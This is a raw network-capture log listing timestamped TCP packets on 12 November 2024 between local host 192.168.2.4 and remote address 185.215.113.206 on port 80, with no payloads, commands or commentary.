Nov 12, 2024 21:21:38.042745113 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042753935 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042762041 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042778969 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042790890 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042790890 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042803049 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042814970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042814970 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042825937 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042838097 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042840958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042855024 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042865992 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042866945 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042879105 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042889118 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042893887 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042906046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042912960 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042916059 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042928934 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042939901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042941093 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042959929 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042967081 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042974949 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.042979956 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.042990923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043000937 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043004036 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043014050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043020010 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043045044 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043072939 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043104887 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043114901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043137074 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043153048 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043229103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043241024 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043251991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043258905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043262959 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043298006 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043356895 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043374062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043385029 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043395042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043406963 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043416977 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043416977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043431044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043437958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043442011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043453932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043457031 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043464899 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043478012 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043478966 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043488026 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043498993 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043509960 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043524981 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043548107 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043611050 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043628931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043637991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043664932 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043730021 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043771029 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043798923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043811083 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043845892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.043898106 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043909073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.043939114 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044063091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044075012 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044085026 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044095993 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044106007 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044107914 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044118881 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044122934 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044131041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044152021 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044173956 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044262886 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044310093 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044321060 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044351101 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044380903 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044392109 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044401884 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044414997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044420958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044431925 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044455051 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044456005 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044467926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044478893 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044490099 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044501066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044507027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044528961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044550896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044562101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044572115 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044585943 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044593096 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044598103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044606924 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044632912 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044708014 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044719934 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044729948 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044754028 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044770002 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044825077 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044837952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044853926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044863939 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044868946 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.044886112 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044909000 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.044990063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045001984 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045011997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045026064 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045032024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045048952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045056105 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045059919 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045072079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045083046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045093060 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045094967 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045114994 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045119047 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045128107 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045130968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045144081 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045151949 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045155048 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.045176029 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.045202017 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.252855062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.252876043 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.252969980 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.412237883 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.412275076 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.412285089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.412375927 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.570996046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.571028948 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.571041107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.571063042 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.571157932 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.571192980 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.730223894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730334997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.730442047 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730489969 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.730626106 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730644941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730658054 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730669022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730676889 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.730681896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.730700970 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.730746031 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.889686108 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889727116 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889760971 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889774084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889786005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889797926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889808893 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889820099 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889832020 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889847040 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:38.889842033 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.889888048 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:38.889915943 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048500061 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048518896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048540115 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048557043 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048568010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048568010 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048580885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048599005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048610926 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048610926 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048612118 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048624039 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048624992 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048638105 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048650980 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048660994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048662901 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048679113 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048691988 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048697948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048702002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048715115 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048717022 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048723936 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048734903 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048737049 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048747063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.048753977 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048779011 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.048796892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.207619905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207642078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207653999 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207667112 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207679033 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207690954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207704067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207722902 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207762957 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.207812071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.207951069 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207962990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207973957 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.207990885 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208019018 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208066940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208086014 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208096981 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208105087 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208115101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208132029 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208132982 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208143950 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208153009 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208157063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208168030 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208179951 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208183050 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208190918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208201885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208204031 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208215952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208225012 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208228111 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208239079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208241940 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208252907 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208262920 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.208270073 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.208295107 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.366601944 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366643906 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366702080 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.366754055 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.366782904 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366821051 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.366904974 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366915941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366926908 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366940975 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366949081 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.366954088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366967916 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.366971970 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.366987944 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367000103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367008924 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367013931 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367033005 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367033005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367055893 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367078066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367152929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367165089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367176056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367187023 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367194891 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367197990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367218018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367223024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367232084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367244005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367244959 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367255926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367269993 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367274046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367285967 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367289066 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367297888 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367309093 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367317915 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367327929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367335081 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367355108 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367367029 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367367029 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367379904 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367392063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367394924 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367412090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367423058 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367424965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367438078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.367450953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367458105 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.367487907 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.395596027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.403009892 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677495003 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677511930 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677531004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677545071 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677551985 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677555084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677573919 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677576065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677586079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677598953 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677603960 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677614927 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677617073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677630901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677639961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677644014 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677661896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677671909 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677675009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677695990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677701950 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677710056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677720070 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677721024 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677733898 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677745104 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677745104 CET	49759	80	192.168.2.4	185.215.113.206
